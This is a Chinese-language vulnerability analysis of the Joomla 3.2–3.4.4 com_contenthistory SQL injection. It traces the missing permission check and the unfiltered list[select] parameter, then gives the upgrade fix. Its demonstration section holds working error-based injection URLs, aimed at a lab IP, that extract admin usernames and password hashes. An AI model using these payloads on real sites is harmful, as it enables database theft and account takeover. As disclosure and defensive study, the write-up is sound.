昨日(2015-10-22),Joomla CMS发布新版本3.4.5,该版本修复了一个高危的SQL注入漏洞,3.2至3.4.4版本都受到影响。攻击者通过该漏洞可以直接获取获取数据库中敏感信息,甚至可以获取已登陆的管理员会话直接进入网站后台。

一、原理分析

在 Joomla CMS 中有一个查看历史编辑版本的组件(com_contenthistory),该功能本应只有管理员才能访问,但是由于开发人员的疏忽,导致该功能的访问并不需要相应的权限。通过访问 /index.php?option=com_contenthistory 可以使得服务端加载历史版本处理组件。程序流程会转到 /components/com_contenthistory/contenthistory.php 文件中:

<?php
defined('_JEXEC') or die;

$lang = JFactory::getLanguage();
$lang->load('com_contenthistory', JPATH_ADMINISTRATOR, null, false, true)
|| $lang->load('com_contenthistory', JPATH_SITE, null, false, true);

require_once JPATH_COMPONENT_ADMINISTRATOR . '/contenthistory.php';

可以看到该组件加载时并没有进行相关权限的监测,而 Joomla 中,一般的后台调用组件 (/administrator/components/下的组件) 都会进行组件对应的权限检查,例如后台中的 com_contact 组件

if (!JFactory::getUser()->authorise('core.manage', 'com_contact'))
{
return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR'));
}

但是,程序在处理 contenthistory 组建时,并没有进行一个权限检查,程序初始化并设置好组件相关配置后,包含文件 /administrator/components/com_contenthistory/contenthistory.php,其内容如下:

<?php
defined('_JEXEC') or die;

$controller = JControllerLegacy::getInstance('Contenthistory', array('base_path' => JPATH_COMPONENT_ADMINISTRATOR));
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();

程序初始化基于 contenthistory 组件的控制类 JControllerLegacy,然后直接调用控制类的 execute() 方法,在 execute() 方法中,会调用其控制类中的 display(),代码位于 /libraries/legacy/controller/legacy.php

public function display($cachable = false, $urlparams = array())
{
$document = JFactory::getDocument();
$viewType = $document->getType();
$viewName = $this->input->get('view', $this->default_view);
$viewLayout = $this->input->get('layout', 'default', 'string');

$view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout));

// Get/Create the model
if ($model = $this->getModel($viewName))
{
// Push the model into the view (as default)
$view->setModel($model, true);
}
(...省略...)
if ($cachable && $viewType != 'feed' && $conf->get('caching') >= 1)
{ (...省略...) }
else
{
$view->display();
}

return $this;
}

处理程序从传递的参数中获取 viewlayout 的参数值进行初始化视图,并且调用 $model = $this->getModel($viewName) 加载对应数据模型,最终会调用 $view->display() 函数进行视图处理。

Joomla 新版本 3.4.5 中修复的SQL注入漏洞涉及的是历史查看操作,也就是 view=history 时的程序处理会导致注入。在程序进行数据提取时,会进入 /administrator/components/com_contenthistory/models/history.php 文件中的 getListQuery() 函数:

protected function getListQuery()
{
// Create a new query object.
$db = $this->getDbo();
$query = $db->getQuery(true);

// Select the required fields from the table.
$query->select(
$this->getState(
'list.select',
'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
)
)
->from($db->quoteName('#__ucm_history') . ' AS h')
->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))

// Join over the users for the editor
->select('uc.name AS editor')
->join('LEFT', '#__users AS uc ON uc.id = h.editor_user_id');

// Add the list ordering clause.
$orderCol = $this->state->get('list.ordering');
$orderDirn = $this->state->get('list.direction');
$query->order($db->quoteName($orderCol) . $orderDirn);

return $query;
}

注意下面这段SQL语句构造部分:

	$query->select(
$this->getState(
'list.select',
'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
)
)
->from($db->quoteName('#__ucm_history') . ' AS h')
->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))

其中 getState() 函数用于获取模型的属性和其对应的值,其函数定义位于 /ibraries/legacy/model/legacy.php

public function getState($property = null, $default = null)
{
if (!$this->__state_set)
{
// Protected method to auto-populate the model state.
$this->populateState();

// Set the model state set flag to true.
$this->__state_set = true;
}

return $property === null ? $this->state : $this->state->get($property, $default);
}

然后会调用 populateState() 函数来初始化参数值和提取并过滤某些参数,在 contenthistory 组建中定义有自己的 populateState() 函数:

protected function populateState($ordering = null, $direction = null)
{
(...省略...)
// List state information.
parent::populateState('h.save_date', 'DESC');
}

函数最后,会调用父类的 populateState() 函数,因为该数据模型继承于 JModelList,所以父类相关代码位于 /libraries/legacy/model/list.php 中,而在父类该函数的处理中会解析请求中传递的 list[] 参数,解析并过滤预设键的值,但是却忽略了 list[select]

protected function populateState($ordering = null, $direction = null)
{
(...省略...)
// Receive & set list options
if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
{
foreach ($list as $name => $value)
{
// Extra validations
switch ($name)
{
case 'fullordering':
(...省略...)
case 'ordering':
(...省略...)
case 'direction':
(...省略...)
case 'limit':
(...省略...)
default:
$value = $value;
break;
}

$this->setState('list.' . $name, $value);
}
}
(...省略...)

而传递 list[select] 参数值最终会被解析到上述组件视图进行处理时 SQL 语句构建中的 list.select 里,从而导致了注入。

二、漏洞演示

通过上面简单的分析,已经知道了受影响的 Joomla 版本中,contenthistory 组件访问不受权限的控制,并且当进行 view=history 请求时会解析请求参数中 list[select] 的值拼接到 SQL 语句中。下面是该漏洞的简单验证和利用方法。

1.漏洞验证

http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&list[select]=1

因为在进行 SQL 语句拼接的时候,获取了 list.ordering 进行数据查询中的 order 操作,若不提供默认会将其设置为数据进行处理,相关处理位于 /libraries/joomla/database/driver.php 的 quoteName() 函数中。

因此,访问上述构造的URL,服务器会报错:

2.漏洞利用

因为在 SQL 语句拼接时,程序框架针对每个 from 或者 where 操作进行了换行处理,所以这里并不能使用 #-- 等符号来注释掉后面的语句,只能通过报错注入进行数据提取。但是语句的成功执行有一定的前提条件,也就是传递的 item_idtype_id 参数值必须于数据库中有效,同时传递 list[ordering] 参数 (空值即可),这样注入的语句才能够得到执行,从而进行报错注入。

这里经过多个漏洞站点的测试可以简单的使用 item_id=1&type_id=1,当然了为了准确性和有效性,可以通过爆破的方式来得到这两个参数的有效值,然后再进行注入操作。

(Tips:Joomla 中构造的 SQL 语句中 #_ 最终会在执行前被替换为表前缀)

下面是获取用户名/密码哈希的漏洞演示过程:

http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from (select count(*),concat((select username from %23__users limit 0,1),floor(rand(0)*2)) from information_schema.tables group by 2)x)

http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from (select count(*),concat((select password from %23__users limit 0,1),floor(rand(0)*2)) from information_schema.tables group by 2)x)

三、修复方案

  1. https://github.com/joomla/joomla-cms/releases 获取最新版本进行重新安装;
  2. https://github.com/joomla/joomla-cms/releases 下载相应版本的补丁程序进行升级;

四、总结

就 Joomla CMS 的用户量来看,目前还有大量的站点的数据正受到该漏洞的威胁。该漏洞的产生本质上是由于访问控制的缺失和过滤不严格造成。访问控制的缺失导致本应只有管理员才能进行访问和加载的 contenthistory 组件能够被任意用户访问和加载,而参数的过滤不严格,导致攻击者能够构造出恶意的参数到执行流中产生注入。

参考